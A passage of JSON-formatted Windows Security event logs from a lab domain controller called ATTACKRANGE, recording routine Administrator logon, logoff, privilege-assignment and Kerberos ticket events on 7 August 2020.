ID:\t\t0x6726A\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x6726a","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221890,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x60CF2\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x60cf2","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:42","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4634,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12545,"OpcodeValue":0,"RecordNumber":221891,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was logged off.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x6726A\r\n\r\nLogon Type:\t\t\t3\r\n\r\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.","Category":"Logoff","Opcode":"Info","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x6726a","LogonType":"3","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221892,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221893,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221894,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221895,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x672D2\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x672d2","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221896,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x672D2\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x672d2","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221897,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221898,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"Administrator@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4648,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12544,"OpcodeValue":0,"RecordNumber":221899,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A logon was attempted using explicit credentials.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\r\n\r\nAccount Whose Credentials Were Used:\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nTarget Server:\r\n\tTarget Server Name:\tlocalhost\r\n\tAdditional Information:\tlocalhost\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tNetwork Address:\t-\r\n\tPort:\t\t\t-\r\n\r\nThis event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","LogonGuid":"{00000000-0000-0000-0000-000000000000}","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TargetServerName":"localhost","TargetInfo":"localhost","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221900,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-20\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3E4\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67595\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{C064B0C1-4AAA-3588-8267-15CE1302D286}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x558\r\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\tWIN-DC-9849183\r\n\tSource Network Address:\t-\r\n\tSource Port:\t\t-\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tAdvapi \r\n\tAuthentication Package:\tNegotiate\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-5-20","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3e4","TargetUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetLogonId":"0x67595","LogonType":"3","LogonProcessName":"Advapi ","AuthenticationPackageName":"Negotiate","WorkstationName":"WIN-DC-9849183","LogonGuid":"{C064B0C1-4AAA-3588-8267-15CE1302D286}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"C:\\Windows\\System32\\svchost.exe","IpAddress":"-","IpPort":"-","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221901,"ActivityID":"{D168B27F-6CB0-0001-80B2-68D1B06CD601}","ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\tAccount Name:\t\tAdministrator\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x67595\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-21-2899776527-1222892863-2568484180-500","SubjectUserName":"Administrator","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x67595","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeEnableDelegationPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:55:43","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4768,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14339,"OpcodeValue":0,"RecordNumber":221902,"ProcessID":860,"ThreadID":988,"Channel":"Security","Message":"A Kerberos authentication ticket (TGT) was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tAdministrator\r\n\tSupplied Realm Name:\tATTACKRANGE\r\n\tUser ID:\t\t\tS-1-5-21-2899776527-1222892863-2568484180-500\r\n\r\nService Information:\r\n\tService Name:\t\tkrbtgt\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-502\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810010\r\n\tResult Code:\t\t0x0\r\n\tTicket Encryption Type:\t0x12\r\n\tPre-Authentication Type:\t2\r\n\r\nCertificate Information:\r\n\tCertificate Issuer Name:\t\t\r\n\tCertificate Serial Number:\t\r\n\tCertificate Thumbprint:\t\t\r\n\r\nCertificate information is only provided if a certificate was used for pre-authentication.\r\n\r\nPre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.","Category":"Kerberos Authentication Service","Opcode":"Info","TargetUserName":"Administrator","TargetDomainName":"ATTACKRANGE","TargetSid":"S-1-5-21-2899776527-1222892863-2568484180-500","ServiceName":"krbtgt","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-502","TicketOptions":"0x40810010","Status":"0x0","TicketEncryptionType":"0x12","PreAuthType":"2","IpAddress":"::1","IpPort":"0","EventReceivedTime":"2020-08-07 11:55:44","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 